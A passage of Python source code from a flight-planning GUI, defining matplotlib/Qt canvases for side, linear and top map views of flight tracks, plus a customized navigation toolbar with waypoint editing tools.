origin=PIL_IMAGE_ORIGIN)\n self.imgax.set_xlim(0, ix - 1)\n self.imgax.set_ylim(iy - 1, 0)\n self.ax.figure.canvas.draw()\n logging.debug(\"done.\")\n\n def update_vertical_extent_from_settings(self, init=False):\n \"\"\" Checks for current units of axis and convert the upper and lower limit\n to pa(pascals) for the internal computation by code \"\"\"\n\n if not init:\n p_bot_old = self.p_bot\n p_top_old = self.p_top\n\n if self.settings[\"vertical_axis\"] == \"pressure altitude\":\n self.p_bot = thermolib.flightlevel2pressure(self.settings[\"vertical_extent\"][0] * units.km).magnitude\n self.p_top = thermolib.flightlevel2pressure(self.settings[\"vertical_extent\"][1] * units.km).magnitude\n elif self.settings[\"vertical_axis\"] == \"flight level\":\n self.p_bot = thermolib.flightlevel2pressure(self.settings[\"vertical_extent\"][0] * units.hft).magnitude\n self.p_top = thermolib.flightlevel2pressure(self.settings[\"vertical_extent\"][1] * units.hft).magnitude\n else:\n self.p_bot = self.settings[\"vertical_extent\"][0] * 100\n self.p_top = self.settings[\"vertical_extent\"][1] * 100\n\n if not init:\n if (p_bot_old != self.p_bot) or (p_top_old != self.p_top):\n if self.image is not None:\n self.image.remove()\n self.image = None\n self.setup_side_view()\n else:\n self.redraw_yaxis()\n\n\nclass LinearViewPlotter(ViewPlotter):\n \"\"\"Specialised MplCanvas that draws a linear view of a\n flight track / list of waypoints.\n \"\"\"\n\n def __init__(self, model=None, numlabels=None, settings=None):\n \"\"\"\n Arguments:\n model -- WaypointsTableModel defining the linear section.\n \"\"\"\n if numlabels is None:\n numlabels = config_loader(dataset='num_labels')\n super().__init__(settings_tag=\"linearview\", settings=_DEFAULT_SETTINGS_LINEARVIEW)\n self.load_settings()\n\n # Sets the default values of plot sizes from MissionSupportDefaultConfig.\n self.linearview_size_settings = config_loader(dataset=\"linearview\")\n self.set_settings(settings)\n\n # Setup the plot.\n self.numlabels = numlabels\n self.setup_linear_view()\n # If a waypoints model has been passed, create an interactor on it.\n self.waypoints_interactor = None\n self.waypoints_model = None\n self.vertical_lines = []\n self.basename = \"linearview\"\n\n def setup_linear_view(self):\n \"\"\"Set up a linear section view.\n \"\"\"\n self.fig.subplots_adjust(left=0.08, right=0.96, top=0.9, bottom=0.14)\n\n def clear_figure(self):\n logging.debug(\"path of linear view has changed.. removing invalidated plots\")\n self.fig.clf()\n self.ax = self.fig.add_subplot(111, zorder=99)\n self.ax.figure.patch.set_visible(False)\n self.fig.canvas.draw()\n\n def redraw_xaxis(self, lats, lons):\n # Re-label x-axis.\n self.ax.set_xlim(0, len(lats) - 1)\n # Set xticks so that they display lat/lon. Plot \"numlabels\" labels.\n lat_inds = np.arange(len(lats))\n tick_index_step = len(lat_inds) // self.numlabels\n self.ax.set_xticks(lat_inds[::tick_index_step])\n self.ax.set_xticklabels([f'{d[0]:2.1f}, {d[1]:2.1f}'\n for d in zip(lats[::tick_index_step],\n lons[::tick_index_step])],\n rotation=25, horizontalalignment=\"right\")\n\n # Remove all vertical lines\n for line in self.vertical_lines:\n try:\n line.remove()\n except ValueError as e:\n logging.debug(\"Vertical line was somehow already removed:\\n%s\", e)\n self.vertical_lines = []\n\n def draw_vertical_lines(self, highlight, lats, lons):\n # draw vertical lines\n self.vertical_lines = []\n ipoint = 0\n for i, (lat, lon) in enumerate(zip(lats, lons)):\n if (ipoint < len(highlight) and np.hypot(lat - highlight[ipoint][0],\n lon - highlight[ipoint][1]) < 2E-10):\n self.vertical_lines.append(self.ax.axvline(i, color='k', linewidth=2, linestyle='--', alpha=0.5))\n ipoint += 1\n self.fig.tight_layout()\n self.fig.subplots_adjust(top=0.85, bottom=0.20)\n self.fig.canvas.draw()\n\n def draw_legend(self, img):\n if img is not None:\n logging.error(\"Legends not supported in LinearView mode!\")\n raise NotImplementedError\n\n def draw_image(self, xmls, colors=None, scales=None):\n self.clear_figure()\n offset = 40\n self.ax.patch.set_visible(False)\n\n for i, xml in enumerate(xmls):\n data = xml.find(\"Data\")\n values = [float(value) for value in data.text.split(\",\")]\n unit = data.attrib[\"unit\"]\n numpoints = int(data.attrib[\"num_waypoints\"])\n\n if colors:\n color = colors[i] if len(colors) > i else colors[-1]\n else:\n color = \"#00AAFF\"\n\n if scales:\n scale = scales[i] if len(scales) > i else scales[-1]\n else:\n scale = \"linear\"\n\n par = self.ax.twinx() if i > 0 else self.ax\n par.set_yscale(scale)\n\n par.plot(range(numpoints), values, color)\n if i > 0:\n par.spines[\"right\"].set_position((\"outward\", (i - 1) * offset))\n if unit:\n par.set_ylabel(unit)\n\n par.yaxis.label.set_color(color.replace(\"0x\", \"#\"))\n\n def set_settings(self, settings, save=False):\n \"\"\"\n Apply settings from options ui to the linear view\n \"\"\"\n\n super().set_settings(settings, save)\n\n pts = (self.linearview_size_settings[\"plot_title_size\"] if self.settings[\"plot_title_size\"] == \"default\"\n else int(self.settings[\"plot_title_size\"]))\n als = (self.linearview_size_settings[\"axes_label_size\"] if self.settings[\"axes_label_size\"] == \"default\"\n else int(self.settings[\"axes_label_size\"]))\n self.ax.tick_params(axis='both', labelsize=als)\n self.ax.set_title(\"Linear flight profile\", fontsize=pts, horizontalalignment='left', x=0)\n self.ax.figure.canvas.draw()\n\n\nclass MplCanvas(FigureCanvasQTAgg):\n \"\"\"Class to represent the FigureCanvasQTAgg widget.\n Main axes instance has zorder 99 (important when additional\n axes are added).\n \"\"\"\n\n def __init__(self, plotter):\n self.default_filename = \"_image\"\n self.plotter = plotter\n # initialization of the canvas\n super().__init__(self.plotter.fig)\n\n # we define the widget as expandable\n super().setSizePolicy(\n QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n\n # notify the system of updated policy\n super().updateGeometry()\n\n def get_default_filename(self):\n \"\"\"\n defines the image file name for storing from a view\n return: default png filename of a view\n \"\"\"\n result = self.basename + self.default_filename\n if len(result) > 100:\n result = result[:100]\n return result + \".png\"\n\n def draw_metadata(self, title=\"\", init_time=None, valid_time=None,\n level=None, style=None):\n \"\"\"Draw a title indicating the init and valid time of the\n image that has been drawn, and the vertical elevation level.\n \"\"\"\n self.default_filename = \"\"\n if title:\n self.default_filename += f\"_{title.split()[0]:>5}\"\n if level:\n self.default_filename += f\"_{level.split()[0]}\"\n\n self.plotter.draw_metadata(title, init_time, valid_time, level, style)\n self.draw()\n # without the repaint the title is not properly updated\n self.repaint()\n\n def get_plot_size_in_px(self):\n \"\"\"Determines the size of the current figure in pixels.\n Returns the tuple width, height.\n \"\"\"\n return self.plotter.get_plot_size_in_px()\n\n def get_settings(self):\n return self.plotter.get_settings()\n\n def set_settings(self, settings, save=False):\n \"\"\"\n Apply settings from options ui to the linear view\n \"\"\"\n self.plotter.set_settings(settings, save)\n\n\ndef _getSaveFileName(parent, title=\"Choose a filename to save to\", filename=\"test.png\",\n filters=\" Images (*.png)\"):\n _dirname, _name = os.path.split(filename)\n _dirname = os.path.join(_dirname, \"\")\n return getSaveFileNameAndFilter(parent, fs_url=_dirname, file_pattern=filters,\n title=title, default_filename=_name, show_save_action=True)\n\n\nsave_figure_original = NavigationToolbar2QT.save_figure\n\n\ndef save_figure(self, *args):\n \"\"\"\n saves the figure dependent to the filepicker_default\n \"\"\"\n picker_type = config_loader(dataset=\"filepicker_default\")\n if picker_type in [\"default\", \"qt\"]:\n save_figure_original(self, *args)\n elif picker_type == \"fs\":\n filetypes = self.canvas.get_supported_filetypes_grouped()\n sorted_filetypes = sorted(six.iteritems(filetypes))\n startpath = matplotlib.rcParams.get('savefig.directory', LAST_SAVE_DIRECTORY)\n startpath = os.path.expanduser(startpath)\n start = os.path.join(startpath, self.canvas.get_default_filename())\n filters = []\n for name, exts in sorted_filetypes:\n exts_list = \" \".join(['*.%s' % ext for ext in exts])\n filter = '%s (%s)' % (name, exts_list)\n filters.append(filter)\n\n fname, filter = _getSaveFileName(self.parent,\n title=\"Choose a filename to save to\",\n filename=start, filters=filters)\n if fname is not None:\n if not fname.endswith(filter[1:]):\n fname = filter.replace('*', fname)\n if startpath == '':\n # explicitly missing key or empty str signals to use cwd\n matplotlib.rcParams['savefig.directory'] = startpath\n else:\n # save dir for next time\n savefig_dir = os.path.dirname(six.text_type(fname))\n matplotlib.rcParams['savefig.directory'] = savefig_dir\n try:\n _dirname, _name = os.path.split(fname)\n _fs = open_fs(_dirname)\n with _fs.open(_name, 'wb') as source:\n self.canvas.print_figure(source, format=filter.replace('*.', ''))\n except Exception as e:\n QtWidgets.QMessageBox.critical(\n self, \"Error saving file\", six.text_type(e),\n QtWidgets.QMessageBox.Ok, QtWidgets.QMessageBox.NoButton)\n else:\n raise FatalUserError(f\"Unknown file picker type '{picker_type}'\")\n\n\n# Patch matplotlib function\nNavigationToolbar2QT.save_figure = save_figure\n\n\nclass _Mode(str, enum.Enum):\n \"\"\"\n Override _Mode of backend_base to include our tools.\n \"\"\"\n NONE = \"\"\n PAN = \"pan/zoom\"\n ZOOM = \"zoom rect\"\n INSERT_WP = \"insert waypoint\"\n DELETE_WP = \"delete waypoint\"\n MOVE_WP = \"move waypoint\"\n\n def __str__(self):\n return self.value\n\n @property\n def _navigate_mode(self):\n return self.name if self is not _Mode.NONE else None\n\n\nmatplotlib.backend_bases._Mode = _Mode\n\n\nclass NavigationToolbar(NavigationToolbar2QT):\n \"\"\"\n parts of this class have been copied from the NavigationToolbar2QT class.\n According to https://matplotlib.org/users/license.html we shall\n summarise our changes to matplotlib code:\n We copied small parts of the given implementation of the navigation\n toolbar class to allow for our custom waypoint buttons. Our code extends\n the matplotlib toolbar to allow for less or additional buttons and properly\n update all plots and elements in case the pan or zoom elements were\n triggered by the user.\n \"\"\"\n\n def __init__(self, canvas, parent, sideview=False, coordinates=True):\n self.sideview = sideview\n\n if sideview:\n self.toolitems = [\n _x for _x in self.toolitems if _x[0] in ('Save',)]\n self.set_history_buttons = lambda: None\n else:\n self.toolitems = [\n _x for _x in self.toolitems if\n _x[0] in (None, 'Home', 'Back', 'Forward', 'Pan', 'Zoom', 'Save')]\n\n self.toolitems.extend([\n (None, None, None, None),\n ('Mv WP', 'Move waypoints', \"wp_move\", 'move_wp'),\n ('Ins WP', 'Insert waypoints', \"wp_insert\", 'insert_wp'),\n ('Del WP', 'Delete waypoints', \"wp_delete\", 'delete_wp'),\n ])\n super().__init__(canvas, parent, coordinates)\n self._actions[\"move_wp\"].setCheckable(True)\n self._actions[\"insert_wp\"].setCheckable(True)\n self._actions[\"delete_wp\"].setCheckable(True)\n\n self.setIconSize(QtCore.QSize(24, 24))\n self.layout().setSpacing(12)\n self.canvas = canvas\n self.no_push_history = False\n\n def _icon(self, name, *args):\n \"\"\"\n wrapper around base method to inject our own icons.\n \"\"\"\n myname = icons(\"32x32\", name)\n if os.path.exists(myname):\n return QtGui.QIcon(myname)\n else:\n return super()._icon(name, *args)\n\n def _zoom_pan_handler(self, event):\n \"\"\"\n extend zoom_pan_handler of base class with our own tools\n \"\"\"\n super()._zoom_pan_handler(event)\n if event.name == \"button_press_event\":\n if self.mode in (_Mode.INSERT_WP, _Mode.MOVE_WP, _Mode.DELETE_WP):\n self.canvas.waypoints_interactor.button_press_callback(event)\n elif event.name == \"button_release_event\":\n if self.mode == _Mode.INSERT_WP:\n self.canvas.waypoints_interactor.button_release_insert_callback(event)\n elif self.mode == _Mode.MOVE_WP:\n self.canvas.waypoints_interactor.button_release_move_callback(event)\n elif self.mode == _Mode.DELETE_WP:\n self.canvas.waypoints_interactor.button_release_delete_callback(event)\n\n def clear_history(self):\n self._nav_stack.clear()\n self.push_current()\n self.set_history_buttons()\n\n def push_current(self):\n \"\"\"Push the current view limits and position onto the stack.\"\"\"\n if self.sideview:\n super().push_current()\n elif self.no_push_history:\n pass\n else:\n self._nav_stack.push(self.canvas.map.kwargs.copy())\n self.set_history_buttons()\n\n def _update_view(self):\n \"\"\"\n Update the viewlim and position from the view and position stack for\n each axes.\n \"\"\"\n if self.sideview:\n super()._update_view()\n else:\n nav_info = self._nav_stack()\n if nav_info is None:\n return\n self.canvas.redraw_map(nav_info)\n\n def insert_wp(self, *args):\n \"\"\"\n activate insert_wp tool\n \"\"\"\n if self.mode == _Mode.INSERT_WP:\n self.mode = _Mode.NONE\n self.canvas.widgetlock.release(self)\n else:\n self.mode = _Mode.INSERT_WP\n self.canvas.widgetlock(self)\n for a in self.canvas.figure.get_axes():\n a.set_navigate_mode(self.mode._navigate_mode)\n self.set_message(self.mode)\n self._update_buttons_checked()\n\n def delete_wp(self, *args):\n \"\"\"\n activate delete_wp tool\n \"\"\"\n if self.mode == _Mode.DELETE_WP:\n self.mode = _Mode.NONE\n self.canvas.widgetlock.release(self)\n else:\n self.mode = _Mode.DELETE_WP\n self.canvas.widgetlock(self)\n for a in self.canvas.figure.get_axes():\n a.set_navigate_mode(self.mode._navigate_mode)\n self.set_message(self.mode)\n self._update_buttons_checked()\n\n def move_wp(self, *args):\n \"\"\"\n activate move_wp tool\n \"\"\"\n if self.mode == _Mode.MOVE_WP:\n self.mode = _Mode.NONE\n self.canvas.widgetlock.release(self)\n else:\n self.mode = _Mode.MOVE_WP\n self.canvas.widgetlock(self)\n for a in self.canvas.figure.get_axes():\n a.set_navigate_mode(self.mode._navigate_mode)\n self.set_message(self.mode)\n self._update_buttons_checked()\n\n def release_zoom(self, event):\n self.no_push_history = True\n super().release_zoom(event)\n self.no_push_history = False\n self.canvas.redraw_map()\n self.push_current()\n\n def release_pan(self, event):\n self.no_push_history = True\n super().release_pan(event)\n self.no_push_history = False\n self.canvas.redraw_map()\n self.push_current()\n\n def mouse_move(self, event):\n \"\"\"\n overwrite mouse_move to print lon/lat instead of x/y coordinates.\n \"\"\"\n if self.mode == _Mode.MOVE_WP:\n self.canvas.waypoints_interactor.motion_notify_callback(event)\n\n if isinstance(self.canvas.waypoints_interactor, mpl_pi.LPathInteractor):\n if not event.ydata or not event.xdata:\n self.set_message(self.mode)\n else:\n (lat, lon, alt), _ = self.canvas.waypoints_interactor.get_lat_lon(event)\n self.set_message(f\"lat={lat: <6.2f} lon={lon: <7.2f} altitude={alt: <3.0f}hft\")\n elif not self.sideview:\n self._update_cursor(event)\n\n if event.inaxes and event.inaxes.get_navigate():\n try:\n lat, lon = self.canvas.waypoints_interactor.get_lat_lon(event)\n except (ValueError, OverflowError) as ex:\n logging.error(\"%s\", ex)\n else:\n s = f\"lat={lat:6.2f}, lon={lon:7.2f}\"\n artists = [a for a in event.inaxes._mouseover_set\n if a.contains(event)[0] and a.get_visible()]\n if artists:\n a = cbook._topmost_artist(artists)\n if a is not event.inaxes.patch:\n data = a.get_cursor_data(event)\n if data is not None:\n data_str = a.format_cursor_data(data)\n if data_str is not None:\n s += \" \" + data_str\n if self.mode:\n s = self.mode + \", \" + s\n self.set_message(s)\n else:\n self.set_message(self.mode)\n else:\n if not event.ydata or not event.xdata:\n self.set_message(self.mode)\n else:\n (lat, lon), _ = self.canvas.waypoints_interactor.get_lat_lon(event)\n y_value = convert_pressure_to_vertical_axis_measure(\n self.canvas.plotter.settings[\"vertical_axis\"], event.ydata)\n units = {\n \"pressure altitude\": \"km\",\n \"flight level\": \"hft\",\n \"pressure\": \"hPa\"}[self.canvas.plotter.settings[\"vertical_axis\"]]\n self.set_message(f\"{self.mode} lat={lat:6.2f} lon={lon:7.2f} altitude={y_value:.2f}{units}\")\n\n def _update_buttons_checked(self):\n super()._update_buttons_checked()\n if \"insert_wp\" in self._actions:\n self._actions['insert_wp'].setChecked(self.mode.name == 'INSERT_WP')\n if \"delete_wp\" in self._actions:\n self._actions['delete_wp'].setChecked(self.mode.name == 'DELETE_WP')\n if \"move_wp\" in self._actions:\n self._actions['move_wp'].setChecked(self.mode.name == 'MOVE_WP')\n\n\nclass MplNavBarWidget(QtWidgets.QWidget):\n \"\"\"Matplotlib canvas widget with navigation toolbar defined in Qt Designer\"\"\"\n\n def __init__(self, sideview=False, parent=None, canvas=None):\n # initialization of Qt MainWindow widget\n super().__init__(parent)\n\n # set the canvas to the Matplotlib widget\n if canvas:\n self.canvas = canvas\n else:\n self.canvas = MplCanvas()\n\n # instantiate the navigation toolbar\n self.navbar = NavigationToolbar(self.canvas, self, sideview)\n\n # create a vertical box layout\n self.vbl = QtWidgets.QVBoxLayout()\n\n # add mpl widget to vertical box\n self.vbl.addWidget(self.navbar)\n self.vbl.addWidget(self.canvas)\n\n # set the layout to th vertical box\n self.setLayout(self.vbl)\n\n\nclass MplSideViewCanvas(MplCanvas):\n \"\"\"Specialised MplCanvas that draws a side view (vertical section) of a\n flight track / list of waypoints.\n \"\"\"\n\n def __init__(self, model=None, settings=None, numlabels=None):\n \"\"\"\n Arguments:\n model -- WaypointsTableModel defining the vertical section.\n \"\"\"\n if numlabels is None:\n numlabels = config_loader(dataset='num_labels')\n self.plotter = SideViewPlotter()\n super().__init__(self.plotter)\n\n if settings is not None:\n self.plotter.set_settings(settings)\n\n # Setup the plot.\n self.update_vertical_extent_from_settings(init=True)\n\n self.numlabels = numlabels\n self.plotter.ax.patch.set_facecolor(\"None\")\n # Main axes instance of mplwidget has zorder 99.\n self.vertical_lines = []\n\n # Sets the default value of sideview fontsize settings from MSSDefaultConfig.\n self.sideview_size_settings = config_loader(dataset=\"sideview\")\n self.plotter.setup_side_view()\n # Draw a number of flight level lines.\n self.flightlevels = []\n self.fl_label_list = []\n self.draw_flight_levels()\n self.image = None\n self.ceiling_alt = []\n # If a waypoints model has been passed, create an interactor on it.\n self.waypoints_interactor = None\n self.waypoints_model = None\n self.basename = \"sideview\"\n if model is not None:\n self.set_waypoints_model(model)\n\n def set_waypoints_model(self, model):\n \"\"\"Set the WaypointsTableModel defining the vertical section.\n If no model had been set before, create a new interactor object on the\n model to let the user interactively move the altitude of the waypoints.\n \"\"\"\n self.waypoints_model = model\n if self.waypoints_interactor:\n self.waypoints_interactor.set_waypoints_model(model)\n else:\n # Create a path interactor object. The interactor object connects\n # itself to the change() signals of the flight track data model.\n self.waypoints_interactor = mpl_pi.VPathInteractor(\n self.plotter.ax, self.waypoints_model,\n numintpoints=config_loader(dataset=\"num_interpolation_points\"),\n redraw_xaxis=self.redraw_xaxis, clear_figure=self.plotter.clear_figure\n )\n self.set_settings(None)\n\n def redraw_xaxis(self, lats, lons, times):\n \"\"\"Redraw the x-axis of the side view on path changes. Also remove\n a vertical section image if one exists, as it is invalid after\n a path change.\n \"\"\"\n times_visible = False\n if self.waypoints_model is not None:\n times_visible = self.waypoints_model.performance_settings[\"visible\"]\n self.plotter.redraw_xaxis(lats, lons, times, times_visible)\n\n for _line in self.ceiling_alt:\n _line.remove()\n self.ceiling_alt = []\n if self.waypoints_model is not None and self.waypoints_interactor is not None:\n vertices = self.waypoints_interactor.plotter.pathpatch.get_path().vertices\n vx, vy = list(zip(*vertices))\n wpd = self.waypoints_model.all_waypoint_data()\n if len(wpd) > 0:\n xs, ys = [], []\n aircraft = self.waypoints_model.performance_settings[\"aircraft\"]\n for i in range(len(wpd) - 1):\n weight = np.linspace(wpd[i].weight, wpd[i + 1].weight, 5, endpoint=False)\n ceil = [aircraft.get_ceiling_altitude(_w) for _w in weight]\n xs.extend(np.linspace(vx[i], vx[i + 1], 5, endpoint=False))\n ys.extend(ceil)\n xs.append(vx[-1])\n ys.append(aircraft.get_ceiling_altitude(wpd[-1].weight))\n\n self.ceiling_alt = self.plotter.ax.plot(\n xs, thermolib.flightlevel2pressure(np.asarray(ys) * units.hft).magnitude,\n color=\"k\", ls=\"--\")\n self.update_ceiling(\n self.plotter.get_settings()[\"draw_ceiling\"] and\n self.waypoints_model.performance_settings[\"visible\"],\n self.plotter.get_settings()[\"colour_ceiling\"])\n highlight = [[wp.lat, wp.lon] for wp in self.waypoints_model.waypoints]\n self.plotter.draw_vertical_lines(highlight, lats, lons)\n\n def get_vertical_extent(self):\n \"\"\"Returns the bottom and top pressure (hPa) of the plot.\n \"\"\"\n return (self.p_bot // 100), (self.p_top // 100)\n\n def draw_flight_levels(self):\n \"\"\"Draw horizontal lines indicating the altitude of the flight levels.\n \"\"\"\n # Remove currently displayed flight level artists.\n for artist in self.fl_label_list:\n artist.remove()\n self.fl_label_list = []\n # Plot lines indicating flight level altitude.\n ax = self.plotter.ax\n for level in self.flightlevels:\n pressure = thermolib.flightlevel2pressure(level * units.hft).magnitude\n self.fl_label_list.append(ax.axhline(pressure, color='k'))\n self.fl_label_list.append(ax.text(0.1, pressure, f\"FL{level:d}\"))\n self.draw()\n\n def get_flight_levels(self):\n \"\"\"\n \"\"\"\n return self.flightlevels\n\n def set_flight_levels(self, flightlevels):\n \"\"\"\n \"\"\"\n self.flightlevels = flightlevels\n self.draw_flight_levels()\n\n def set_flight_levels_visible(self, visible):\n \"\"\"Toggle the visibility of the flight level lines.\n \"\"\"\n for gxelement in self.fl_label_list:\n gxelement.set_visible(visible)\n self.draw()\n\n def update_ceiling(self, visible, color):\n \"\"\"Toggle the visibility of the flight level lines.\n \"\"\"\n for line in self.ceiling_alt:\n line.set_color(color)\n line.set_visible(visible)\n self.draw()\n\n def set_settings(self, settings, save=False):\n \"\"\"Apply settings to view.\n \"\"\"\n old_vertical_lines = self.plotter.settings[\"draw_verticals\"]\n if settings is not None:\n self.plotter.set_settings(settings, save)\n settings = self.plotter.get_settings()\n self.set_flight_levels(settings[\"flightlevels\"])\n self.set_flight_levels_visible(settings[\"draw_flightlevels\"])\n self.update_ceiling(\n settings[\"draw_ceiling\"] and (\n self.waypoints_model is not None and\n self.waypoints_model.performance_settings[\"visible\"]),\n settings[\"colour_ceiling\"])\n self.update_vertical_extent_from_settings()\n\n if self.waypoints_interactor is not None:\n wpi_plotter = self.waypoints_interactor.plotter\n wpi_plotter.line.set_marker(\"o\" if settings[\"draw_marker\"] else None)\n wpi_plotter.set_vertices_visible(settings[\"draw_flighttrack\"])\n wpi_plotter.set_path_color(\n line_color=settings[\"colour_ft_vertices\"],\n marker_facecolor=settings[\"colour_ft_waypoints\"],\n patch_facecolor=settings[\"colour_ft_fill\"])\n wpi_plotter.set_patch_visible(settings[\"fill_flighttrack\"])\n wpi_plotter.set_labels_visible(settings[\"label_flighttrack\"])\n\n if self.waypoints_model is not None \\\n and settings[\"draw_verticals\"] != old_vertical_lines:\n self.redraw_xaxis(wpi_plotter.path.ilats,\n wpi_plotter.path.ilons,\n wpi_plotter.path.itimes)\n\n def getBBOX(self):\n \"\"\"Get the bounding box of the view (returns a 4-tuple\n x1, y1(p_bot[hPa]), x2, y2(p_top[hPa])).\n \"\"\"\n # Get the bounding box of the current view\n # (bbox = llcrnrlon, llcrnrlat, urcrnrlon, urcrnrlat; i.e. for the side\n # view bbox = x1, y1(p_bot), x2, y2(p_top)).\n axis = self.plotter.ax.axis()\n\n # Get the number of (great circle) interpolation points and the\n # number of labels along the x-axis.\n if self.waypoints_interactor is not None:\n num_interpolation_points = \\\n self.waypoints_interactor.plotter.get_num_interpolation_points()\n num_labels = self.numlabels\n\n # Return a tuple (num_interpolation_points, p_bot[hPa],\n # num_labels, p_top[hPa]) as BBOX.\n bbox = (num_interpolation_points, (axis[2] / 100),\n num_labels, (axis[3] / 100))\n return bbox\n else:\n self.plotter.getBBOX()\n\n def draw_legend(self, img):\n if img is not None:\n logging.error(\"Legends not supported in SideView mode!\")\n raise NotImplementedError\n\n def draw_image(self, img):\n \"\"\"Draw the image img on the current plot.\n\n NOTE: The image is plotted in a separate axes object that is located\n below the axes that display the flight profile. This is necessary\n because imshow() does not work with logarithmic axes.\n \"\"\"\n self.plotter.draw_image(img)\n\n def update_vertical_extent_from_settings(self, init=False):\n \"\"\" Checks for current units of axis and convert the upper and lower limit\n to pa(pascals) for the internal computation by code \"\"\"\n\n self.plotter.update_vertical_extent_from_settings(init)\n\n\nclass MplSideViewWidget(MplNavBarWidget):\n \"\"\"MplNavBarWidget using an MplSideViewCanvas as the Matplotlib\n view instance.\n \"\"\"\n\n def __init__(self, parent=None):\n super().__init__(\n sideview=True, parent=parent, canvas=MplSideViewCanvas())\n # Disable some elements of the Matplotlib navigation toolbar.\n # Available actions: Home, Back, Forward, Pan, Zoom, Subplots,\n # Customize, Save, Insert Waypoint, Delete Waypoint\n actions = self.navbar.actions()\n for action in actions:\n if action.text() in [\"Home\", \"Back\", \"Forward\", \"Pan\", \"Zoom\",\n \"Subplots\", \"Customize\"]:\n action.setEnabled(False)\n\n\nclass MplLinearViewCanvas(MplCanvas):\n \"\"\"Specialised MplCanvas that draws a linear view of a\n flight track / list of waypoints.\n \"\"\"\n\n def __init__(self, model=None, numlabels=None):\n \"\"\"\n Arguments:\n model -- WaypointsTableModel defining the linear section.\n \"\"\"\n if numlabels is None:\n numlabels = config_loader(dataset='num_labels')\n self.plotter = LinearViewPlotter()\n super().__init__(self.plotter)\n\n # Setup the plot.\n self.numlabels = numlabels\n self.plotter.setup_linear_view()\n # If a waypoints model has been passed, create an interactor on it.\n self.waypoints_interactor = None\n self.waypoints_model = None\n self.vertical_lines = []\n self.basename = \"linearview\"\n self.draw()\n if model:\n self.set_waypoints_model(model)\n\n def set_waypoints_model(self, model):\n \"\"\"Set the WaypointsTableModel defining the linear section.\n If no model had been set before, create a new interactor object on the model\n \"\"\"\n self.waypoints_model = model\n\n if self.waypoints_interactor:\n self.waypoints_interactor.set_waypoints_model(model)\n else:\n # Create a path interactor object. The interactor object connects\n # itself to the change() signals of the flight track data model.\n self.waypoints_interactor = mpl_pi.LPathInteractor(\n self.plotter.ax, self.waypoints_model,\n numintpoints=config_loader(dataset=\"num_interpolation_points\"),\n clear_figure=self.plotter.clear_figure,\n redraw_xaxis=self.redraw_xaxis\n )\n self.set_settings(None)\n self.redraw_xaxis()\n\n def setup_linear_view(self):\n \"\"\"Set up a linear section view.\n \"\"\"\n self.fig.subplots_adjust(left=0.08, right=0.96, top=0.9, bottom=0.14)\n\n def getBBOX(self):\n \"\"\"Get the bounding box of the view.\n \"\"\"\n # Get the number of (great circle) interpolation points and the\n # number of labels along the x-axis.\n if self.waypoints_interactor is not None:\n num_interpolation_points = \\\n self.waypoints_interactor.plotter.get_num_interpolation_points()\n\n # Return a tuple (num_interpolation_points) as BBOX.\n bbox = (num_interpolation_points,)\n return bbox\n\n def draw_legend(self, img):\n if img is not None:\n logging.error(\"Legends not supported in LinearView mode!\")\n raise NotImplementedError\n\n def draw_image(self, xmls, colors=None, scales=None):\n self.plotter.draw_image(xmls, colors, scales)\n self.redraw_xaxis()\n\n def redraw_xaxis(self):\n \"\"\"Redraw the x-axis of the linear view on path changes.\n \"\"\"\n if self.waypoints_interactor is not None:\n lats = self.waypoints_interactor.plotter.path.ilats\n lons = self.waypoints_interactor.plotter.path.ilons\n logging.debug(\"redrawing x-axis\")\n\n self.plotter.redraw_xaxis(lats, lons)\n\n highlight = [[wp.lat, wp.lon] for wp in self.waypoints_model.waypoints]\n self.plotter.draw_vertical_lines(highlight, lats, lons)\n\n\nclass MplLinearViewWidget(MplNavBarWidget):\n \"\"\"MplNavBarWidget using an MplLinearViewCanvas as the Matplotlib\n view instance.\n \"\"\"\n\n def __init__(self, parent=None):\n super().__init__(\n sideview=False, parent=parent, canvas=MplLinearViewCanvas())\n # Disable some elements of the Matplotlib navigation toolbar.\n # Available actions: Home, Back, Forward, Pan, Zoom, Subplots,\n # Customize, Save, Insert Waypoint, Delete Waypoint\n actions = self.navbar.actions()\n for action in actions[:-1]:\n if action.text() in [\"Home\", \"Back\", \"Forward\", \"Pan\", \"Zoom\", \"\",\n \"Subplots\", \"Customize\", \"Mv WP\", \"Del WP\", \"Ins WP\"]:\n action.setVisible(False)\n\n\nclass MplTopViewCanvas(MplCanvas):\n \"\"\"Specialised MplCanvas that draws a top view (map), together with a\n flight track, trajectories and other items.\n \"\"\"\n\n redrawn = QtCore.pyqtSignal(name=\"redrawn\")\n\n def __init__(self, settings=None):\n \"\"\"\n \"\"\"\n self.plotter = TopViewPlotter()\n super().__init__(self.plotter)\n self.waypoints_interactor = None\n self.satoverpasspatch = []\n self.kmloverlay = None\n self.multiple_flightpath = None\n self.basename = \"topview\"\n\n # Set map appearance from parameter or, if not specified, to default\n # values.\n self.set_settings(settings)\n\n # Progress dialog to inform the user about map redraws.\n self.pdlg = QtWidgets.QProgressDialog(\"redrawing map...\", \"Cancel\", 0, 10, self)\n self.pdlg.close()\n\n @property\n def map(self):\n return self.plotter.map\n\n def init_map(self, model=None, **kwargs):\n \"\"\"Set up the map view.\n \"\"\"\n self.plotter.init_map(**kwargs)\n\n if model:\n self.set_waypoints_model(model)\n\n def set_waypoints_model(self, model):\n \"\"\"Set the WaypointsTableModel defining the flight track.\n If no model had been set before, create a new interactor object on the\n model to let the user interactively move the altitude of the waypoints.\n \"\"\"\n self.waypoints_model = model\n if self.waypoints_interactor:\n self.waypoints_interactor.set_waypoints_model(model)\n else:\n # Create a path interactor object. The interactor object connects\n # itself to the change() signals of the flight track data model.\n settings = self.get_settings()\n try:\n self.waypoints_interactor = mpl_pi.HPathInteractor(\n self.plotter.map, self.waypoints_model,\n linecolor=settings[\"colour_ft_vertices\"],\n markerfacecolor=settings[\"colour_ft_waypoints\"],\n show_marker=settings[\"draw_marker\"])\n self.set_settings(None)\n except IOError as err:\n logging.error(\"%s\" % err)\n\n def redraw_map(self, kwargs_update=None):\n \"\"\"Redraw map canvas.\n\n Executed on clicked() of btMapRedraw.\n\n See MapCanvas.update_with_coordinate_change(). After the map redraw,\n coordinates of all objects overlain on the map have to be updated.\n \"\"\"\n # remove legend\n self.draw_legend(None)\n\n # Show the progress dialog, since the retrieval can take a few seconds.\n self.pdlg.setValue(0)\n self.pdlg.show()\n QtWidgets.QApplication.processEvents()\n\n logging.debug(\"redrawing map\")\n\n # 1) STORE COORDINATES OF NON-MAP OBJECTS IN LAT/LON.\n\n # (Currently none.)\n 